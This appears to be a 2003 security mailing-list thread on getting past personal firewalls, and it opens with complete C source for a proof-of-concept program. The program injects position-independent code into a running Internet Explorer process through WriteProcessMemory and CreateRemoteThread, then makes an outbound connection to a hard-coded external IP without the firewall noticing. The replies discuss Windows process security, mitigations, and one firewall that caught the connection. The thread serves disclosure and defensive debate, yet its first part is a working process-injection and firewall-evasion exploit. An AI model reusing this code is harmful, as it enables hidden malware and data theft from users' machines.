Onderwerp: Bypassing Personal Firewalls

[MODERATOR: posted this to vuln-dev where it recieved some interest.
Thought it might be interesting to a wider audience. Here's a revised
version of the same post]

Here's a code snippet that injects code directly into a running process
without the need for a DLL etc. I believe that it demonstrates that
process boundaries under NT mean very little within the context of a
given UID.

This allows PFWs to be bypassed, as well as making it very easy to hide
running malicious code on a system. The example is a 'sploit that makes a
connection from within IE, and slips under the radar of all PFWs I've
tested.

Having attempted to discuss this with PFW vendors, it doesn't appear to
be much of a concern to them; after almost two business weeks, Symantec
is the only company to have responded with any concern. To be fair, this
isn't remotely exploitable, and is fundamentally an issue with how OSs
are designed, not how PFWs work (although one might wonder if some of the
claims made by PFW vendors are really ethical). I think it illustrates
that OpenProcess, ptrace, and the like should really enforce filesystem
priviledges on the processes they can modify. I think that this is
something that needs to be done proactively.

The implication of allowing processes to modify each other this way is
that PFWs can not be easily made secure, but also that malicious code has
nice support from windows for doing some very bad things. For instance it
would be a simple addition to intercept syscalls made by any process into
which code can be injected, and in so doing hide the presence of
malicious activity from all local processes a user runs.

Binary available at:
http://www3.sympatico.ca/oliver.lavery/za-hole.zip

///////////////////////////////////////////////////////////////////
// fw_bypass.cpp | thermite.exe
///////////////////////////////////////////////////////////////////
//
// (C) 2003 Oliver Lavery
//
// This program establishes socket connections and transfers information
in a manner
// which should be undetectable by all current personal firewall products.
//
// Tested on:
// Windows XP Professional SP1
// (should run on any NT variant)
//
// Known vulnerable:
// ZoneAlarm Pro 3.5 (all settings at highest)
// Zero-Knowledge Freedom Firewall
// Look'n'Stop 2.04
// Sygate Personal Firewall PRO (highest settings)
// Norton Personal Firewall 2003 (highest settings)
//
// (should smoke 'em all)
//

////
// Compile me with VC++ 98. Other compilers may work.
//
// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS"
// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c
// (no stack checking, no "catch release errors in debug", no incremental
linking.
// they all break stuff here)


#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from
Windows headers

#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>

//////////// Injected Code.//////////////

// This code is a bit funky. The idea here is to write C in such a way
that it is relocatable
// in the strictest sense of the word (can be passed accross process
boundaries at run-time).
// To do this the injected code has to contain no static references to
symbols that reside at
// a fixed memory address. Also this part of the code is incompatable
with incremental linking,
// and stack checking.
//
// There's really no advantage to doing this in C rather than assembly
other than the
// fact that it's cool. I wanted to see if it would be feasible to inject
C code for other,
// bigger projects.


// NB, please excuse the Hungarian notiation. I hate it too. When in
Rome...

//User32
typedef int (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText,
LPCTSTR lpCaption, UINT uType );
//Wsock32
typedef SOCKET (__stdcall *func_socket)( int, int, int );
typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
typedef u_short (__stdcall *func_htons)( u_short );
typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr
FAR*, int );
typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int
flags );
typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested,
LPWSADATA lpWSAData );

//Kernel32
typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD,
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE );
typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD,
LPDWORD, LPOVERLAPPED );
typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject );

typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR );
typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR );
typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR );


typedef struct _tag_inj_info {
func_GetModuleHandle GetModuleHandle;
func_GetProcAddress GetProcAddress;
func_LoadLibrary LoadLibrary;
char szRequest[128];
int lRequest;
char szFile[255];
char szAddr[32];
char szErrCmnt1[64];
char szErrCmnt2[64];
char szErrTitle1[64];
char szErrTitle2[64];
char szErrTitle3[64];
// module names
char szKernel32[32];
char szUser32[32];
char szWSock32[32];
// func names
char szMessageBox[32];
char szSocket[32];
char szInet_Addr[32];
char szHtons[32];
char szConnect[32];
char szSend[32];
char szRecv[32];
char szCreateFile[32];
char szWriteFile[32];
char szCloseHandle[32];
char szWSAStartup[32];
} inj_info ;


// Calls to the stack-checking routine must be disabled.
// VC++ doesn't always obey this pragma
#pragma check_stack(off)

// This function runs in IE's address space
static DWORD WINAPI ThreadFunc( inj_info *info )
{
HMODULE hKernel32, hWSock32, hUser32;

// User32
func_MessageBox l_MessageBox;

// Winsock2
func_WSAStartup l_WSAStartup;
func_socket l_socket;
func_inet_addr l_inet_addr;
func_htons l_htons;
func_connect l_connect;
func_send l_send;
func_recv l_recv;

// Kernel32
func_CreateFile l_CreateFile;
func_WriteFile l_WriteFile;
func_CloseHandle l_CloseHandle;

// locals for actual functionality
SOCKET s;
SOCKADDR_IN sa;
HANDLE outfile;
char buf[255];
DWORD count;
DWORD read, wrote, error;
BOOL needStartup;
WSADATA foo;
WORD wVersion;

count = 0;
wVersion = MAKEWORD( 2, 0 );
needStartup = FALSE;

// Dynamically bind API functions

hUser32 = info->GetModuleHandle( info->szUser32 );
if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
>szUser32 );
if (hUser32 == NULL) return 0;
l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32,
info->szMessageBox );

hKernel32 = info->GetModuleHandle( info->szKernel32 );
if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
>szKernel32 );
if (hKernel32 == NULL) {
l_MessageBox( NULL, info->szKernel32, info->szErrTitle3,
MB_OK );
return 0;
}
l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32,
info->szCreateFile );
l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32,
info->szWriteFile );
l_CloseHandle = (func_CloseHandle)info->GetProcAddress(
hKernel32, info->szCloseHandle );


hWSock32 = info->GetModuleHandle( info->szWSock32 );
if (hWSock32 == NULL) {
needStartup = TRUE;
hWSock32 = info->LoadLibrary( info->szWSock32 );
}
if (hWSock32 == NULL) {
l_MessageBox( NULL, info->szWSock32, info->szErrTitle3,
MB_OK );
return 0;
}
l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32,
info->szWSAStartup );
l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
>szSocket );
l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32,
info->szInet_Addr );
l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
>szHtons );
l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
>szConnect );
l_send = (func_send)info->GetProcAddress( hWSock32, info-
>szSend );
l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
>szRecv );

// Ok. Do stuff.

if ( needStartup )
{
l_WSAStartup(2, &foo);
}
s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
sa.sin_port = l_htons(80);

if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if ( outfile != INVALID_HANDLE_VALUE ) {
l_send( s, info->szRequest, info->lRequest, 0);
while ( read = l_recv( s, buf, 255, 0 ) ) {
l_WriteFile( outfile, buf, read, &wrote,
NULL );
}
l_CloseHandle( outfile );
} else {
l_MessageBox( NULL, info->szErrCmnt1, info-
>szErrTitle1, MB_OK );
}
} else {
l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2,
MB_OK );
}
return 0;
// XXX forgot to close the socket.
}

static void AfterThreadFunc (void) {
}

#pragma check_stack

///////// "Normal" Code /////////////

void ErrorNotify(DWORD err, char *title)
{

LPVOID lpMsgBuf;

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default
language
(LPTSTR) &lpMsgBuf,
0,
NULL
);

// Display the string.
MessageBox( NULL, (char *)lpMsgBuf, title,
MB_OK|MB_ICONINFORMATION );

// Free the buffer.
LocalFree( lpMsgBuf );
};

// Bits of this function are from M$ Research's Detours library.
// A great resource for ways to do 3vi1 stuff on windows, btw.
static BOOL InjectExploit(HANDLE hProcess)
{
BOOL fSucceeded = FALSE;

// The address where code will be copied to in the remote process.
PDWORD pdwCodeRemote = NULL;

// Calculate the number of bytes in the ThreadFunc function.
const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE)
ThreadFunc);

// The address where InjLibInfo will be copied to in the remote
process.
inj_info *pInjLibInfoRemote = NULL;

// The number of bytes written to the remote process.
DWORD dwNumBytesXferred = 0;

// The handle and Id of the thread executing the remote copy of
ThreadFunc.
DWORD dwThreadId = 0;
const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
HANDLE hThread = NULL;

DWORD dwOldProtect;

inj_info info = {
// functions used to run-time link. (always at same addresses on windows)
NULL, // GetModuleHandle
NULL, // GetProcAddress
NULL, // LoadLibrary
//// initialized data
"GET / HTTP/1.0\n\n\n",
strlen("GET / HTTP/1.0\n\n\n"),
"",
"205.206.231.12",
"Can't create file",
"Can't connect to securityfocus",
"File Error",
"Socket Error",
"Linking Error",
// module names
"kernel32.dll",
"user32.dll",
"wsock32.dll",
// func names
"MessageBoxA",
"socket",
"inet_addr",
"htons",
"connect",
"send",
"recv",
"CreateFileA",
"WriteFile",
"CloseHandle",
"WSAStartup"
};

GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
strcat( info.szFile, "\\securityfocus.html");

HMODULE hKernel32;
hKernel32 = GetModuleHandle( "kernel32.dll" );
info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress(
hKernel32, "GetModuleHandleA" );
info.GetProcAddress = (func_GetProcAddress)GetProcAddress(
hKernel32, "GetProcAddress" );
info.LoadLibrary = (func_LoadLibrary)GetProcAddress(
hKernel32, "LoadLibraryA" );

// Allocate memory in the remote process's address space large
// enough to hold our ThreadFunc function and a inj_info
structure.
pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,

MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL) {
MessageBox( NULL, "IE not running. Please run IE, load a
page, and re-run this exploit.", "Can't find process", MB_OK);
ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
goto finish;
}

// Change the page protection of the allocated memory
// to executable, read, and write.
if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtect)) {
ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
goto finish;
}

// Write a copy of ThreadFunc to the remote process.
if (!WriteProcessMemory(hProcess, pdwCodeRemote,
(LPVOID)
ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
ErrorNotify( GetLastError(), "WriteProcessMemory
Failed" );
goto finish;
}

// Write a copy of inj_info to the remote process
// (the structure MUST start on an even 32-bit boundary).
pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) +
((cbCodeSize + 4) & ~3));

// Put inj_info in remote thread's memory block.
if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
&info, sizeof
(info), &dwNumBytesXferred)) {
ErrorNotify( GetLastError(), "WriteProcessMemory2
Failed" );
goto finish;
}

if ((hThread = CreateRemoteThread(hProcess, NULL, 65536,
(LPTHREAD_START_ROUTINE)
pdwCodeRemote,
pInjLibInfoRemote, 0, &dwThreadId))
== NULL) {
ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
goto finish;
}

fSucceeded = TRUE;

finish:
if (hThread != NULL)
CloseHandle(hThread);

if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should
now contain the results of an HTTP request which in theory could have
transmitted your private information to a third party.\n"
"If you did not see a firewall warning, your firewall did
not detect the request and is vulnerable to this exploit."
, "Success", MB_OK );
return fSucceeded;
}

// There is no real reason to target IE, other than most users have it
running a lot, and it
// is usually allowed to bypass PFWs. Note that using the same technique
it would be easy to inject
// code to run a server inside another process as well, but IE is not
normally allowed to do this

// XXX there are better ways to get a PID.
DWORD GetIEProcessID( void )
{
HANDLE hSnap;
PROCESSENTRY32 ppe;

hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

ppe.dwSize = sizeof( PROCESSENTRY32 );
Process32First( hSnap, &ppe );
while ( 1 ) {
if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return
ppe.th32ProcessID;
if ( !Process32Next( hSnap, &ppe ) ) break;
}
CloseHandle( hSnap );
return FALSE;
}


int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
DWORD dwIE_PID = GetIEProcessID();
HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
// XYZZY!
InjectExploit( hIE );
return 0;
}

> -----Original Message-----
> From: xenophi1e [mailtoliver.lavery@sympatico.ca]
> Sent: Friday, February 21, 2003 1:34 PM
> To: bugtraq@securityfocus.com
> Subject: Bypassing Personal Firewalls
>
>
<snip>

> Here's a code snippet that injects code directly into a
> running process
>
> without the need for a DLL etc. I believe that it demonstrates that
>
> process boundaries under NT mean very little within the context of a
>
> given UID.

<snip>


> I think it
> illustrates
>
> that OpenProcess, ptrace, and the like should really enforce
> filesystem
>
> priviledges on the processes they can modify. I think that this is
>
> something that needs to be done proactively.
>
>
>
> The implication of allowing processes to modify each other
> this way is
>
> that PFWs can not be easily made secure, but also that
> malicious code has
>
> nice support from windows for doing some very bad things. For
> instance it
>
> would be a simple addition to intercept syscalls made by any
> process into
>
> which code can be injected, and in so doing hide the presence of
>
> malicious activity from all local processes a user runs.
<snip>

(Sidenote: a number of previous apps used to test PFWs or Application
Firewalls --
http://www.pcflank.com/art21.htm )

There are a number of ways to do this, you use the more popular method
of openprocess and writeprocess memory. However, there is a limit to the
number of api calls which implement this. Ultimately, this kind of code
needs to be blocked, first, at the NT API level... Such blocking should
use the same method as blocking the network calls, ie, "Do you want to
allow this application to ..."

Most commonly, this would be used with writeprocess memory.

Createremotethread would need to be blocked in this manner.
Postremotethreadmessage. PostThreadMessage. Are some of the more
dangerous calls, in this context.

After that, you are probably talking about having to do somesort of
signature analysis at the binary level.

It is always an arms race.

OpenProcess does require seDebugPrivileges, I believe.

[An interesting "arms race" to follow in this regards is between GearBox
software and HL cheaters, btw.]

Drew

Research Engineer
eEye Digital Security

> -----Original Message-----
> From: Oliver Lavery [mailtoliver.lavery@sympatico.ca]
> Sent: Friday, February 21, 2003 3:23 PM
> To: 'Drew Copley'; bugtraq@securityfocus.com
> Subject: RE: Bypassing Personal Firewalls
>
>
> >(Sidenote: a number of previous apps used to test PFWs or Application
> Firewalls --
> >http://www.pcflank.com/art21.htm )
>
> Yes, these are great tests. Most PFWs block them all now.

I believe TooLeaky and Firehole remain unfixed on some firewalls.

Too leaky apparently just runs IE with a url cmd argument.

Firewall uses the messy way of hooking: SetWindowsHookEx



>
> >There are a number of ways to do this, you use the more
> popular method
> >of
> openprocess and
> >writeprocess memory. However, there is a limit to the number of api
> >calls
> which implement this.
> >Ultimately, this kind of code needs to be blocked, first, at
> the NT API
> level... Such blocking
> >should use the same method as blocking the network calls,
> ie, "Do you
> >want
> to allow this
> >application to ..."
>
> Yes. Before we go prompting users ever time someone
> calls CreateFile, though, there are much simpler measures.
> One of them would make OpenProcess require a priviledge of
> some sort (see below).
>
> >Most commonly, this would be used with writeprocess memory.
> >Createremotethread would need to be blocked in this manner.
> Postremotethreadmessage.
> >PostThreadMessage. Are some of the more dangerous calls, in this
> >context.
>
> You'll notice that all of these calls require a handle
> returned by OpenProcess (hProcess in my code).
>
> >After that, you are probably talking about having to do somesort of
> signature analysis at the
> >binary level.
>
> MD5 of the binary memory image! This is probably
> feasible, but good god it would resource intensive.

Any such method remains limited. You are in the openrange here.

Here is a relevant and interesting paper:

http://www.cs.washington.edu/homes/s.../papers/oh.pdf

"Abstract. We describe a novel software verification primitive called
Oblivious Hashing. Unlike previous techniques that mainly verify the
static shape of code, this primitive allows implicit computation of a
hash value based on the actual execution (i.e., space-time history of
computation) of the code. We also describe its applications in local
software tamper resistance and remote code authentication."


>
> >OpenProcess does require seDebugPrivileges, I believe.
>
> No, and this is very much the point. According to MS docs:
> SeDebugPrivilege:
> Determines which users can attach a debugger to any process.
> This privilege provides powerful access to sensitive and
> critical operating system components.
>
> This only prevents users from using OpenProcess on
> system processes (winlogon.exe etc.). There need to be
> tighter restrictions on the use of OpenProcess.

Ah, that's right, remember now.

>
> Cheers,
> ~ol
>
>
>

>(Sidenote: a number of previous apps used to test PFWs or Application
Firewalls --
>http://www.pcflank.com/art21.htm )

Yes, these are great tests. Most PFWs block them all now.

>There are a number of ways to do this, you use the more popular method of
openprocess and
>writeprocess memory. However, there is a limit to the number of api calls
which implement this.
>Ultimately, this kind of code needs to be blocked, first, at the NT API
level... Such blocking
>should use the same method as blocking the network calls, ie, "Do you want
to allow this
>application to ..."

Yes. Before we go prompting users ever time someone calls
CreateFile, though, there are much simpler measures. One of them would make
OpenProcess require a priviledge of some sort (see below).

>Most commonly, this would be used with writeprocess memory.
>Createremotethread would need to be blocked in this manner.
Postremotethreadmessage.
>PostThreadMessage. Are some of the more dangerous calls, in this context.

You'll notice that all of these calls require a handle returned by
OpenProcess (hProcess in my code).

>After that, you are probably talking about having to do somesort of
signature analysis at the
>binary level.

MD5 of the binary memory image! This is probably feasible, but good
god it would resource intensive.

>OpenProcess does require seDebugPrivileges, I believe.

No, and this is very much the point. According to MS docs:
SeDebugPrivilege:
Determines which users can attach a debugger to any process. This privilege
provides powerful access to sensitive and critical operating system
components.

This only prevents users from using OpenProcess on system processes
(winlogon.exe etc.). There need to be tighter restrictions on the use of
OpenProcess.

Cheers,
~ol

Folks,

The security model employed by the OS for calls to OpenProcess () and
the like is not radically different from that used in calls such as
CreateFile (). The true problem is the lack of understanding of process
and thread creation on Win32 systems.

A process created using CreateProcess () can have a DACL set on it,
using a security descriptor. Without an explicit security descriptor the
process will inherit a default security descriptor, which is the
security descriptor for the process calling CreateProcess (), and
ultimately will have come from the primary or impersonation token.

As most user processes can trace their roots to EXPLORER.EXE and as
most, if not all, calls to CreateProcess () neglect to explicitly set a
security descriptor with a DACL, any process created from EXPLORER.EXE
has access to any other process created from EXPLORER.EXE as the default
security descriptor contains a DACL that will grant them full access.

If explicit security descriptors were set during CreateProcess () things
like Task Manager would fail, processes could not communicate with each
other, etc. However, it is important to understand that the most that
can happen is that a user can only access, corrupt, or interfere, with
their processes using the same default security descriptor. A user
should not be able to access a process in another logon session,
including processes launched using the Secondary Logon service, as the
session SID in the token will be different, if not the SID of the owner.
The exception is that if the user has privileges above what is normally
afforded to users, such as Debug programs or Act as part of the
operating system, they would be able to affect any process.

In reality the process model is not that different from *nix systems,
and is not really any more vulnerable. I can think of code injection
attacks that work along similar lines on *nix systems, which doesn't
have the concept of DACLs for protection, and relies on uid only.

To secure applications, developers might want to consider how they call
CreateProcess (), or use SetSecurityInfo (), to protect their
applications running as processes from unwanted interference by other
processes in the same logon session.

John

Hi xenophi1e,

>Here's a code snippet that injects code directly into a running process
>without the need for a DLL etc. I believe that it demonstrates that
>process boundaries under NT mean very little within the context of a
>given UID.

While I can see your point here, from the OS's perspective a user doesn't
need to be protected from themselves.

>Having attempted to discuss this with PFW vendors, it doesn't appear to
>be much of a concern to them; after almost two business weeks, Symantec
>is the only company to have responded with any concern. To be fair, this
>isn't remotely exploitable, and is fundamentally an issue with how OSs
>are designed, not how PFWs work (although one might wonder if some of the
>claims made by PFW vendors are really ethical).

I'm not convinced that it is an 'issue' at all, the OS goes to great
lengths to restrict the ability of one user to hurt another.

>I think it illustrates
>that OpenProcess, ptrace, and the like should really enforce filesystem
>priviledges on the processes they can modify. I think that this is
>something that needs to be done proactively.

I don't really understand what you mean by enforce filesystem privileges?

Personal Firewalls exist to try and enforce order upon chaos, I can't see
any reason why they couldn't disable OpenProcess for any user other than
users with the SeDebug privilege (though this will stop some non-malicious
applications from functioning).

>The implication of allowing processes to modify each other this way is
>that PFWs can not be easily made secure, but also that malicious code has
>nice support from windows for doing some very bad things. For instance it
>would be a simple addition to intercept syscalls made by any process into
>which code can be injected, and in so doing hide the presence of
>malicious activity from all local processes a user runs.

Why do you believe that the responsibility of protecting users from
themselves should be bourne by the operating system? People who are using
Personal Firewall systems may indeed want to be protected in this fashion
but I suspect that for most people this is a non issue.

When all is said and done, if malicious code can run under your user ID
then everything you do is compromised, I can't see much point in giving
ourselves a false sense of security.

Cheers,
Shaun

Hi Drew,

Thanks, yet another really well informed and thoughtful response. I
sure am happy to have twigged all this good thinking.

>As for Unix and the potential impracticality of sandtrapping system
calls... I might note that=20
>Unix already has some effective solutions for these issues, as Dave =
Ahmad
pointed out to me several >months ago (and has held me fascinated ever
since):

>Unix has similiar systems of this kind, which Provos links to. Window's =
has
a few applications of=20
>limited capability which trap NT api calls.=20

hoglund's rootkit demonstrates this (I mentioned another, different,
rootkit in a earlier post, hoglund traps calls using a kernel mode =
driver,
whereas that one patches API functions in user mode)

>dealing with the problem... they make a signature of the firewall =
tester
itself and ban it based on=20
>that signature.

Which is clearly bullshit, and something consumers should be aware
of, and not stand for. Period.

>But, maybe someone has a better solution for a strong Application =
Firewall
out there, besides the=20
>ones we have mentioned (varieties hashing of in process memory and =
gating
system calls).

Another possible solution would be to hook relevant API calls in
system DLLs, and then disable the use of VirtualProtectEx to enable =
writing
over the memory occupied by those functions. It would still be possible =
to
execute the first few instructions of the API call yourself, and then =
JMP
into the call below the hook, though. I think this is generally a =
problem
with hardening system calls in user-mode ... Ultimately you can just
implement everything up to the transition into kernel mode and bypass =
any
user-mode hook.

Hashing all of a process's code pages seems like a very hard thing
to do. Anyone got a suggestion along these lines?

Cheers,
~ol

Shaun Clowes wrote:

> Why do you believe that the responsibility of protecting users from
> themselves should be bourne by the operating system? People who are
> using Personal Firewall systems may indeed want to be protected in
> this fashion but I suspect that for most people this is a non issue.

Actually, this has little to do with protecting a user from himself,
this has to do with protecting one process from another. How do you
trust any process you have running if malicious code could have embedded
itself and you have no way of detecting this?

> When all is said and done, if malicious code can run under your user
> ID then everything you do is compromised, I can't see much point in
> giving ourselves a false sense of security.

Perhaps not. But do you see a good reason to allow any process this much
power over another unrelated process? If this kind of power is needed by
one process over another, it should be implemented implicitly in both
processes or the process should run under superuser UID.

regards,

J.

Oliver,

> Yes. Before we go prompting users ever time someone calls
> CreateFile, though, there are much simpler measures. One of them would
make
> OpenProcess require a priviledge of some sort (see below).

Restricting OpenProcess won't help much. For example, CreateProcess will
return a handle with full access. Actually, the Windows NT code to start a
process utilizes this fact to write to the new process' memory space
(although using native calls rather than Win32). Essentially, once someone
can execute arbitrary code on your system you're toast. There are just too
many holes in Windows for it to be feasible to plug them all. The focus
ought to be on preventing the code execution in the first place, not on
trying to contain it.

Best regards,
Torbjörn Hovmark

______________________________________
Abtrusion Security AB
- next generation intrusion protection
http://www.abtrusion.com

Shaun,

While I've just been skimming this discussion, I felt the need to respond to
one of the points you make:

> While I can see your point here, from the OS's perspective a user doesn't
> need to be protected from themselves.

On the contrary -- process separation is one of the fundamental concepts in
modern operating systems. If you have the misfortune of remembering the DOS 5
/ Windows 3.0 days, you'll appreciate how important this function is. The
need to protect the user from something running with their privileges is also
important for protecting against Trojan horses, such as Outlook-based mail
worms. The easiest way to protect against such attacks is via sandboxing.

While I personally would like to see such sandboxing functionality integrated
directly into operating systems, it can be added via a third-party extension,
such as Janus for Solaris and Linux, or one of the PFW products for Windows.

Terry

use StandardDisclaimer.pm

Hi Johan,

On Sun, Feb 23, 2003 at 09:13:42PM +0100, Johan Verrept wrote:
> Shaun Clowes wrote:
>
> >Why do you believe that the responsibility of protecting users from
> >themselves should be bourne by the operating system? People who are
> >using Personal Firewall systems may indeed want to be protected in
> >this fashion but I suspect that for most people this is a non issue.
>
> Actually, this has little to do with protecting a user from himself,
> this has to do with protecting one process from another. How do you
> trust any process you have running if malicious code could have embedded
> itself and you have no way of detecting this?

The answer is that you don't. I am getting the feeling that I'm out in
the cold here but if you have malicious code running on your machine
there are a myriad of ways it can (and usually will) subvert your
actions. Processes are not entities unto themselves, particularly in
Windows where so many different components interact (most obviously the
GUI with almost anything else).

> >When all is said and done, if malicious code can run under your user
> >ID then everything you do is compromised, I can't see much point in
> >giving ourselves a false sense of security.
>
> Perhaps not. But do you see a good reason to allow any process this much
> power over another unrelated process?

Yes, I do. Debuggers can make good use of this functionality, as can
tracers. In fact, this functionality is probably used by 100s if not
1000s of programs out there for all sorts of things (particularly given
that dll injection was first publicly described in WSJ in 1994). As
someone pointed out to me in a private email this functionality is also
used by the system while terminating programs.

> If this kind of power is needed by
> one process over another, it should be implemented implicitly in both
> processes or the process should run under superuser UID.

Running on the principle of least privilege I'd rather see less
superuser processing.

The way I see it is that personal firewalls already go to great lengths
to pervert the behaviour of the system, I think any functionality of the
sort we're discussing here should be implemented by the firewalls and
not the OS.

To make that point clearer, a firewall system is usually implemented as
a kernel driver, it can intercept any system calls it likes globally and
enforce whatever permissions it deems appropriate on the call.

Cheers,
Shaun

Torbj=F6rn,

> ... There are just too
> many holes in Windows for it to be feasible to plug them all. The =
focus
> ought to be on preventing the code execution in the first place, not =
on
> trying to contain it.
>=20

I think it unfair to paint Windows with such a broad brush, especially =
as most other OSes had just as many, if not more, security problems in =
the last year. The reality is that most vulnerabilities are in =
applications (and usually third-party ones, at that) that run on the OS, =
and not in the OS itself. Your point about preventing code execution is =
right on the mark. Most attacks can be prevented through user education =
and methodical, secure, application development.

Regards,

John

----- Original Message -----
From: "xenophi1e" <oliver.lavery@sympatico.ca>

> This allows PFWs to be bypassed, as well as making it very easy to hide
> running malicious code on a system. The example is a 'sploit that makes a
> connection from within IE, and slips under the radar of all PFWs I've
> tested.

I'm currently using Kerio Personal Firewall v2.1.4 in Win XP SP1 and this
firewall, at least, seems to block the connection.
I had IE running, disabled all the firewall rules, and that's what showed in
the log:

23/Feb/2003 03:16:49 Internet Explorer blocked; Out TCP;
localhost:3332->205.206.231.12:80; Owner: C:\PROGRAM FILES\INTERNET
EXPLORER\IEXPLORE.EXE

Then it displayed a msgbox saying it can´t connect to security focus.

Indeed the connection appeared to come from IE, but apparently the firewall
sucessfully blocked it.
This really improved my impressions about Kerio firewall, that were already
good as this version is free for home use,
suggesting that the company has a concern with the Internet community that
is becoming rare nowadays.

This subject is of major importance for me as yesterday my IDS, Snort 1.9,
detected unusual traffic going out from one of my computers.

I gracefully could detect it because they were using unusual ports,
myhost:2629, registered as sitaraserver, and 216.40.244.202:19638.
All the traffic was securely encrypted, so I can´t have an ideia of what
actually was sent to them.
I went to 216.40.244.202:80 that redirected me to a secure administration
site with a login form.
From the logs I could read a repeated string that was sent at the beggining
of each connection, that was a close match to the one I catched when trying
to login as user:test password:test and domain:test, so I'm almost sure it's
the login info.

Further investigation on my machine revealed the following spyware
installed:

* Brilliant Digital Entertainment;
* Commonname;
* Cydoor;
* Downloadware;
* Firstlook;
* New.net;
* Gator.

It seems that all the pack is being delivered at once now.

This spyware was revealled by Adaware. I had run Adaware earlier on the day,
so the system was clean.
No message showed asking for a permission to install this stuff , so I guess
it was automatically installed from some nasty site the user went
inadvertedlly.

So it was installed with no permission, has no running processes showing,
and almost surely hijacked IE for the connections (I detected a rule on the
user machine allowing all connections from and to all ports owned by IE),
and actually sent unknown stuff to this server.

I reported the case to a legal counsellor and informed Everyone´s Internet
(that didn't said nothing to date, but this is weekend days, anyway.)

What I can guess from all this is:

1) This spyware is already using this kind of exploit
2) This can be prevented using Kerios PF v2.1.4

I have all the IDS logs,the spyware actually installed, and registers of all
the registry keys and objects used, so if someone wants to investigate this
case furtherly I can send this material.
Also would appreciate comments on the subject (darwin@netmadeira.com).

Cheers,

Paulo